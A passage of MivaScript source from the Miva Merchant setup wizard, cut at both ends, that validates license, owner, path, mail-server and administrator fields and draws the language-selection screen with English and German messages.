			<MvASSIGN NAME = "LICENSE_NUMBER" VALUE = "{ g.Install_Domain_License }">
			<MvASSIGN NAME = "MERCHANT_VERSION" VALUE = "{ g.Merchant_Version }">
			<MvASSIGN NAME = "PRODUCT_LINE" VALUE = "MERCHANT">
			<MvASSIGN NAME = "PRODUCT_TYPE" VALUE = "DOMAIN">
			<MvASSIGN NAME = "OPERATIONS" VALUE = "VALIDATE">
			<MvASSIGN NAME = "LANGUAGE" VALUE = "{ s.miva_language }">
			<MvIF EXPR = "{ len( g.Install_MivaMerchantURL ) }">
				<MvASSIGN NAME = "MERCHANT_STOREURL" VALUE = "{ g.Install_MivaMerchantURL }">
			<MvELSE>
				<MvIF EXPR = "{ len( g.Site_Install_MivaMerchantURL ) }">
					<MvASSIGN NAME = "MERCHANT_STOREURL" VALUE = "{ g.Site_Install_MivaMerchantURL }">
				<MvELSE>
					<MvASSIGN NAME = "MERCHANT_STOREURL" VALUE = "{ g.Install_URL_Merchant_Detected }">
				</MvIF>
			</MvIF>
			
			<MvASSIGN NAME = "l.valid" VALUE = "0">
			
			<MvLOCALIZED NAME = "l.error_text" ID = "MER-SET-00037">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Unable to validate license number</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Die G�ltigkeit der Lizenznummer kann nicht best�tigt werden</MvLOCALIZED-TEXT>
			</MvLOCALIZED>

			<MvCALL METHOD = "POST"
					ACTION = "http://licensemgr.miva.com/gateway/gateway.mv"
					FIELDS = "MERCHANT_HOST, API, LICENSE_NUMBER, MERCHANT_VERSION, NAME, COMPANY, ADDRESS,
							  CITY, STATE, ZIP, COUNTRY, PHONE, FAX, EMAIL, PRODUCT_LINE, PRODUCT_TYPE, LANGUAGE, MERCHANT_STOREURL">
				<MvIF EXPR = "{ s.callobjectelement EQ 'LmLICENSE' }">
					<MvASSIGN NAME = "l.attribute" VALUE = 1>
					<MvWHILE EXPR = "{ ( l.attribute LE s.callobjectnumattributes ) }">
						<MvIF EXPR = "{ s.callobjectattribute[ l.attribute ] EQ 'VALID' }">
							<MvASSIGN NAME = "l.valid_value" VALUE = "{ s.callobjectvalue[ l.attribute ] }">
						</MvIF>
						<MvIF EXPR = "{ s.callobjectattribute[ l.attribute ] EQ 'ERROR_CODE' }">
							<MvASSIGN NAME = "l.error_code_value" VALUE = "{ s.callobjectvalue[ l.attribute ] }">
						</MvIF>
						<MvIF EXPR = "{ s.callobjectattribute[ l.attribute ] EQ 'ERROR_MESSAGE' }">
							<MvASSIGN NAME = "l.error_message_value" VALUE = "{ s.callobjectvalue[ l.attribute ] }">
						</MvIF>
						<MvASSIGN NAME = "l.attribute" VALUE = "{ l.attribute + 1 }">
					</MvWHILE>
				</MvIF>
			</MvCALL>

			<MvIF EXPR = "{ toupper( l.valid_value ) EQ 'YES' }">
				<MvASSIGN NAME = "l.valid" VALUE = "1">
			<MvELSE>
				<MvASSIGN NAME = "l.error_message_value" VALUE = "{ ltrim( rtrim( l.error_message_value ) ) }">
				<MvASSIGN NAME = "l.error_code_value" VALUE = "{ ltrim( rtrim( l.error_code_value ) ) }">
				<MvIF EXPR = "{ NOT len( l.error_message_value ) }">
					<MvIF EXPR = "{ len( l.error_code_value ) }">
						<MvASSIGN NAME = "l.error_text" VALUE = "{ l.error_code_value }">
					</MvIF>
				<MvELSE>
					<MvASSIGN NAME = "l.error_text" VALUE = "{ l.error_message_value }">
				</MvIF>
			</MvIF>

			<MvIF EXPR = "{ NOT l.valid }">
				<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_License, 'Install_Domain_License', l.error_text ) }">
			</MvIF>
		</MvIF>
	</MvIF>
	
	<MvIF EXPR = "{ l.step EQ g.Setup_Wizard_Step_Owner }">
		<MvIF EXPR = "{ len( g.Install_Domain_Owner ) EQ 0 }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00039">
				<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the name of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den Namen des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_Domain_Owner', l.field_error ) }">
		</MvIF>

		<MvDO FILE = "{ g.Setup_Filename_Admin }" NAME = "l.ok" VALUE = "{ Validate_Email( g.Install_Domain_Email ) }">
		<MvIF EXPR = "{ NOT l.ok }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00040">
				<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the email address of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie die E-Mail-Adresse des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_Domain_Email', l.field_error ) }">
		</MvIF>

		<MvIF EXPR = "{ len( g.Install_Domain_Address ) EQ 0 }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00041">
				<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the address of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie die Strasse des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_Domain_Address', l.field_error ) }">
		</MvIF>

		<MvIF EXPR = "{ len( g.Install_Domain_City ) EQ 0 }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00042">
				<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the city of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den Wohnort des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_Domain_City', l.field_error ) }">
		</MvIF>

		<MvASSIGN NAME = "g.Install_Domain_Use_State" VALUE = "{ g.Install_Domain_State }">
		<MvIF EXPR = "{ len( g.Install_Domain_Use_State ) EQ 0 }">
			<MvASSIGN NAME = "g.Install_Domain_Use_State" VALUE = "{ g.Install_Domain_StateSelect }">
		</MvIF>

		<MvIF EXPR = "{ ( len( g.Install_Domain_Use_State ) EQ 0 ) AND ( g.Install_Domain_Country EQ 'US' ) }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00043">
				<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the state/province of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie das Bundesland des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_Domain_State', l.field_error ) }">
		</MvIF>
		
		<MvDO FILE = "{ g.Setup_Filename_Admin }" NAME = "l.valid" VALUE = "{ Validate_Zip( g.Install_Domain_Zip, g.Install_Domain_Country ) }">		
		<MvIF EXPR = "{ NOT l.valid }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00044">
				<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the Zip/Postal code of of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie die Postleitzahl des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_Domain_Zip', l.field_error ) }">
		</MvIF>

		<MvIF EXPR = "{ len( g.Install_Domain_Country ) EQ 0 }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00045">
				<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please select the country of the owner of this installation of Miva Merchant v%merc_vers%</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte w�hlen Sie das Land des Besitzers dieser Installation von Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_Domain_Country', l.field_error ) }">
		</MvIF>

		<MvDO FILE = "{ g.Setup_Filename_Admin }" NAME = "l.valid" VALUE = "{ Validate_Phone( g.Install_Domain_Phone, g.Install_Domain_Country ) }">
		<MvIF EXPR = "{ NOT l.valid }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00046">
				<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the phone number of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie die Telefonnummer des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_Domain_Phone', l.field_error ) }">
		</MvIF>
	</MvIF>

	<MvIF EXPR = "{ l.step EQ g.Setup_Wizard_Step_Paths }">

		<MvIF EXPR = "{ g.Install_URL_Merchant_Use_Detected EQ 'Yes' }">
			<MvASSIGN NAME = "g.URL_Merchant" VALUE = "{ g.Install_URL_Merchant_Detected }">
		<MvELSE>
			<MvIF EXPR = "{ len( g.Install_MivaMerchantURL ) EQ 0 }">
				<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00047">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the URL to Miva Merchant</MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den URL von Miva Merchant ein</MvLOCALIZED-TEXT>
				</MvLOCALIZED>			

				<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_MivaMerchantURL', l.field_error ) }">
			</MvIF>

			<MvASSIGN NAME = "g.URL_Merchant" VALUE = "{ g.Install_MivaMerchantURL }">
		</MvIF>

		<MvIF EXPR = "{ g.Install_Module_Root_Use_Detected EQ 'Yes' }">
			<MvASSIGN NAME = "g.Install_Domain_Module_Root" VALUE = "{ g.Install_Module_Root_Detected }">
		<MvELSE>
			<MvIF EXPR = "{ len( g.Install_Module_Root ) EQ 0 }">
				<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00048">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the root directory for modules</MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie das Hauptverzeichnis f�r Module ein</MvLOCALIZED-TEXT>
				</MvLOCALIZED>			

				<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_Module_Root', l.field_error ) }">
			<MvELSE>
				<MvIF EXPR = "{ ( '/' IN g.Install_Module_Root ) NE 1 }">
					<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00049">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">The root directory for modules MUST be an absolute path. (i.e. it MUST start with /)</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bei dem Hauptverzeichnis f�r Module MUSS es sich um einen absoluten Pfad handeln.  (d.h., es MUSS mit / beginnen)</MvLOCALIZED-TEXT>
					</MvLOCALIZED>			

					<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_Module_Root', l.field_error ) }">
				<MvELSE>
					<MvIF EXPR = "{ substring( g.Install_Module_Root, len( g.Install_Module_Root ), 1 ) NE '/' }">
						<MvASSIGN NAME = "g.Install_Module_Root" VALUE = "{ g.Install_Module_Root $ '/' }">
					</MvIF>

					<MvASSIGN NAME = "g.Install_Domain_Module_Root" VALUE = "{ g.Install_Module_Root }">
				</MvIF>
			</MvIF>
		</MvIF>

		<MvIF EXPR = "{ g.Install_URL_Base_Use_Detected EQ 'Yes' }">
			<MvASSIGN NAME = "g.URL_Base" VALUE = "{ g.Install_URL_Base_Detected }">
		<MvELSE>
			<MvIF EXPR = "{ len( g.Install_URL_Base ) EQ 0 }">
				<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00050">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the base URL for graphics</MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den gesicherten Basis-URL f�r Grafiken ein</MvLOCALIZED-TEXT>
				</MvLOCALIZED>			

				<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_URL_Base', l.field_error ) }">
			</MvIF>

			<MvASSIGN NAME = "g.URL_Base" VALUE = "{ g.Install_URL_Base }">
		</MvIF>

		<MvIF EXPR = "{ g.Install_Image_Root_Use_Detected EQ 'Yes' }">
			<MvASSIGN NAME = "g.Image_Root" VALUE = "{ g.Install_Image_Root_Detected }">
		<MvELSE>
			<MvIF EXPR = "{ len( g.Install_ImageRoot ) EQ 0 }">
				<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00051">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the root directory for graphics</MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie das Hauptverzeichnis f�r Grafiken ein</MvLOCALIZED-TEXT>
				</MvLOCALIZED>			
				
				<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_ImageRoot', l.field_error ) }">
			<MvELSE>
				<MvIF EXPR = "{ ( '/' IN g.Install_ImageRoot ) NE 1 }">
					<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00052">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">The root directory for graphics MUST be an absolute path.  (i.e. it MUST start with /)</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bei dem Hauptverzeichnis f�r Grafiken MUSS es sich um einen absoluten Pfad handeln. (d.h., es MUSS mit / beginnen)</MvLOCALIZED-TEXT>
					</MvLOCALIZED>			

					<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_ImageRoot', l.field_error ) }">
				<MvELSE>
					<MvIF EXPR = "{ substring( g.Install_ImageRoot, len( g.Install_ImageRoot ), 1 ) NE '/' }">
						<MvASSIGN NAME = "g.Install_ImageRoot" VALUE = "{ g.Install_ImageRoot $ '/' }">
					</MvIF>

					<MvASSIGN NAME = "g.Image_Root" VALUE = "{ g.Install_ImageRoot }">
				</MvIF>
			</MvIF>
		</MvIF>
	</MvIF>

	<MvIF EXPR = "{ l.step EQ g.Setup_Wizard_Step_SecurePaths }">

		<MvIF EXPR = "{ g.Install_URL_Merchant_Secure_Use_Detected EQ 'None' }">
			<MvASSIGN NAME = "g.URL_Merchant_Secure" VALUE = "">
		<MvELSE>
			<MvIF EXPR = "{ g.Install_URL_Merchant_Secure_Use_Detected EQ 'Detected' }">
				<MvASSIGN NAME = "g.URL_Merchant_Secure" VALUE = "{ g.Install_URL_Merchant_Secure_Detected }">
			<MvELSE>
				<MvIF EXPR = "{ len( g.Install_MivaMerchantSecureURL ) EQ 0 }">
					<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00053">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the secure URL to Miva Merchant</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den gesicherten URL von Miva Merchant ein</MvLOCALIZED-TEXT>
					</MvLOCALIZED>			
					
					<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_MivaMerchantSecureURL', l.field_error ) }">
				</MvIF>

				<MvASSIGN NAME = "g.URL_Merchant_Secure" VALUE = "{ g.Install_MivaMerchantSecureURL }">
			</MvIF>
		</MvIF>

		<MvIF EXPR = "{ g.Install_URL_Admin_Secure_Use_Detected EQ 'None' }">
			<MvASSIGN NAME = "g.URL_Admin_Secure" VALUE = "">
		<MvELSE>
			<MvIF EXPR = "{ g.Install_URL_Admin_Secure_Use_Detected EQ 'Detected' }">
				<MvASSIGN NAME = "g.URL_Admin_Secure" VALUE = "{ g.Install_URL_Admin_Secure_Detected }">
			<MvELSE>
				<MvIF EXPR = "{ len( g.Install_URL_Admin_Secure ) EQ 0 }">
					<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00054">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the secure URL to Miva Merchant Administration</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den gesicherten URL der Miva Merchant Administration ein</MvLOCALIZED-TEXT>
					</MvLOCALIZED>			

					<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_URL_Admin_Secure', l.field_error ) }">
				</MvIF>

				<MvASSIGN NAME = "g.URL_Admin_Secure" VALUE = "{ g.Install_URL_Admin_Secure }">
			</MvIF>
		</MvIF>

		<MvIF EXPR = "{ g.Install_Module_Root_Secure_Use_Detected EQ 'None' }">
			<MvASSIGN NAME = "g.Install_Domain_Module_Root_Secure" VALUE = "">
		<MvELSE>
			<MvIF EXPR = "{ g.Install_Module_Root_Secure_Use_Detected EQ 'Detected' }">
				<MvASSIGN NAME = "g.Install_Domain_Module_Root_Secure" VALUE = "{ g.Install_Module_Root_Secure_Detected }">
			<MvELSE>
				<MvIF EXPR = "{ len( g.Install_Module_Root_Secure ) EQ 0 }">
					<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00055">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the secure root directory for modules</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie das gesicherte Hauptverzeichnis f�r Module ein</MvLOCALIZED-TEXT>
					</MvLOCALIZED>			

					<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_Module_Root_Secure', l.field_error ) }">
				<MvELSE>
					<MvIF EXPR = "{ ( '/' IN g.Install_Module_Root_Secure ) NE 1 }">
						<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00056">
							<MvLOCALIZED-TEXT LANGUAGE = "en-US">The secure root directory for modules MUST be an absolute path.  (i.e. it MUST start with /)</MvLOCALIZED-TEXT>
							<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bei dem gesicherten Hauptverzeichnis f�r Module MUSS es sich um einen absoluten Pfad handeln.  (d.h., es MUSS mit / beginnen)</MvLOCALIZED-TEXT>
						</MvLOCALIZED>			

						<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_Module_Root_Secure', l.field_error ) }">
					<MvELSE>
						<MvIF EXPR = "{ substring( g.Install_Module_Root_Secure, len( g.Install_Module_Root_Secure ), 1 ) NE '/' }">
							<MvASSIGN NAME = "g.Install_Module_Root_Secure" VALUE = "{ g.Install_Module_Root_Secure $ '/' }">
						</MvIF>

						<MvASSIGN NAME = "g.Install_Domain_Module_Root_Secure" VALUE = "{ g.Install_Module_Root_Secure }">
					</MvIF>
				</MvIF>
			</MvIF>
		</MvIF>

		<MvIF EXPR = "{ g.Install_URL_Base_Secure_Use_Detected EQ 'None' }">
			<MvASSIGN NAME = "g.URL_Base_Secure" VALUE = "">
		<MvELSE>
			<MvIF EXPR = "{ g.Install_URL_Base_Secure_Use_Detected EQ 'Detected' }">
				<MvASSIGN NAME = "g.URL_Base_Secure" VALUE = "{ g.Install_URL_Base_Secure_Detected }">
			<MvELSE>
				<MvIF EXPR = "{ len( g.Install_URL_Base_Secure ) EQ 0 }">
					<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00057">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the secure base URL for graphics</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den gesicherten Basis-URL f�r Grafiken ein</MvLOCALIZED-TEXT>
					</MvLOCALIZED>			

					<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_URL_Base_Secure', l.field_error ) }">
				</MvIF>

				<MvASSIGN NAME = "g.URL_Base_Secure" VALUE = "{ g.Install_URL_Base_Secure }">
			</MvIF>
		</MvIF>

		<MvIF EXPR = "{ ( len( g.URL_Merchant_Secure ) OR len( g.URL_Admin_Secure ) ) AND len( g.Install_Domain_Module_Root_Secure ) EQ 0 }">
				<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00058">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please specify the secure root directory for modules</MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte spezifizieren Sie das gesicherte Hauptverzeichnis f�r Module</MvLOCALIZED-TEXT>
				</MvLOCALIZED>			

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_Module_Root_Secure', l.field_error ) }">
		</MvIF>

		<MvIF EXPR = "{ ( len( g.URL_Merchant_Secure ) OR len( g.URL_Admin_Secure ) ) AND len( g.URL_Base_Secure ) EQ 0 }">
				<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00059">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the secure base URL for graphics</MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den gesicherten Basis-URL f�r Grafiken ein</MvLOCALIZED-TEXT>
				</MvLOCALIZED>			

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_URL_Base_Secure', l.field_error ) }">
		</MvIF>
	</MvIF>
		
	<MvIF EXPR = "{ l.step EQ g.Setup_Wizard_Step_MailServer }">
		<MvIF EXPR = "{ len( g.Install_MailHost ) EQ 0 }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00060">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the name of your mail server</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den Namen Ihres Mail-Servers ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_MailHost', l.field_error ) }">
		</MvIF>
	</MvIF>
	
	<MvIF EXPR = "{ l.step EQ g.Setup_Wizard_Step_Administrator }">
		<MvIF EXPR = "{ len( g.Install_User_Name ) EQ 0 }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00061">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter a name for the default administrative user</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie einen Namen f�r den administrativen Standardbenutzer ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_User_Name', l.field_error ) }">
		</MvIF>
	
		<MvIF EXPR = "{ len( g.Install_User_Password ) EQ 0 }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00062">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter a password</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie ein Passwort ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_User_Password', l.field_error ) }">
		<MvELSE>
			<MvIF EXPR = "{ g.Install_User_Password NE g.Install_User_VerifyPassword }">
				<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00063">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US">Passwords do not match</MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Die Passworte stimmen nicht �berein</MvLOCALIZED-TEXT>
				</MvLOCALIZED>			

				<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_User_VerifyPassword', l.field_error ) }">
			</MvIF>
		</MvIF>
	</MvIF>

	<MvFUNCTIONRETURN VALUE = "{ l.valid }">
</MvFUNCTION>


<MvFUNCTION NAME = "Screen_Setup" STANDARDOUTPUTLEVEL = "text, html, compresswhitespace">
	<MvEVAL EXPR = "{ Setup_Wizard_SetSteps() }">
	<MvEVAL EXPR = "{ g.Error_Message }">

	<MvIF EXPR = "{ ( g.New_Step GT g.Step ) AND g.Step }">
		<MvASSIGN NAME = "l.valid" VALUE = "{ Setup_Validate_Step( g.Step ) }">
		<MvIF EXPR = "{ l.valid }">
			<MvASSIGN NAME = "g.Step" VALUE = "{ g.New_Step }">
		</MvIF>
	<MvELSE>
		<MvIF EXPR = "{ g.New_Step AND ( g.New_Step LT g.Step ) }">
			<MvASSIGN NAME = "g.Step" VALUE = "{ g.New_Step }">
		</MvIF>
	</MvIF>

	<MvASSIGN NAME = "l.ok" VALUE = "{ Setup_BeginScreen() }">
	
	<MvHIDE FIELDS = "g.Install_Domain_UI_ID, g.ISP_Defaults, g.Install_Domain_Name">

	<MvIF EXPR = "{ g.step EQ g.Setup_Wizard_Step_Language }">
		<MvIF EXPR = "{ NOT len( g.Install_LanguageCode ) }">
			<MvASSIGN NAME = "g.Install_LanguageCode" VALUE = "{ s.miva_language }">
		</MvIF>
		<TABLE BORDER = 0 CELLPADDING = 2 CELLSPACING = 0 WIDTH = "100%">
		<TR><TD VALIGN = "top" ALIGN = "left" COLSPAN = 2>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<P>
			<MvLOCALIZED NAME = "l.next_text" ID = "MER-SET-00143">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Next</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Weiter</MvLOCALIZED-TEXT>
			</MvLOCALIZED>
			
			<MvASSIGN NAME = "l.pos" VALUE = "1">
			<MvWHILE EXPR = "{ l.pos LE g.Install_Language_Count }">
				<MvEVAL EXPR = "{ glosub( g.Install_Language[l.pos]:Prompt, '%next%', l.next_text ) }"><BR>
				<MvASSIGN NAME = "l.pos" VALUE = "{ l.pos + 1 }">
			</MvWHILE>
			</P>
			</FONT>
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD VALIGN = "top" ALIGN = "left" COLSPAN = 2>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<CENTER>
			<TABLE> 
			
			<MvASSIGN NAME = "l.pos" VALUE = "1">
			<MvWHILE EXPR = "{ l.pos LE g.Install_Language_Count }">
				<TR><TD>
				<MvIF EXPR = "{ g.Install_Language[l.pos]:Code EQ Install_LanguageCode }">
					<INPUT NAME = "Install_LanguageCode" TYPE = "radio" VALUE = "{ encodeentities( g.Install_Language[l.pos]:Code ) }" CHECKED>
				<MvELSE>
					<INPUT NAME = "Install_LanguageCode" TYPE = "radio" VALUE = "{ encodeentities( g.Install_Language[l.pos]:Code ) }">
				</MvIF>
				</TD><TD>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvEVAL EXPR = "{ g.Install_Language[l.pos]:Language }">
				</FONT>
				</TD><TR>
				<MvASSIGN NAME = "l.pos" VALUE = "{ l.pos + 1 }">
			</MvWHILE>

			</TABLE>
			</CENTER>
			</P>
			</FONT>
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD VALIGN = "bottom" ALIGN = "left">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			&nbsp;
			</FONT>
		</TD><TD VALIGN = "bottom" ALIGN = "right">
			<MvEVAL EXPR = "{ Setup_DrawNextButton( 'Setup_Next();' ) }">
		</TD></TR>
		</TABLE>
	<MvELSE>
		<MvHIDE FIELDS = "g.Install_LanguageCode">
	</MvIF>
	
	<MvHIDE FIELDS = "g.Install_Language, g.Install_Language_Count">

	<MvIF EXPR = "{ g.step EQ g.Setup_Wizard_Step_Welcome }">
		<TABLE BORDER = 0 CELLPADDING = 2 CELLSPACING = 0 WIDTH = "100%">
		<TR><TD VALIGN = "top" ALIGN = "left" COLSPAN = 2>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<P>
			<MvLOCALIZED ID = "MER-SET-00064">
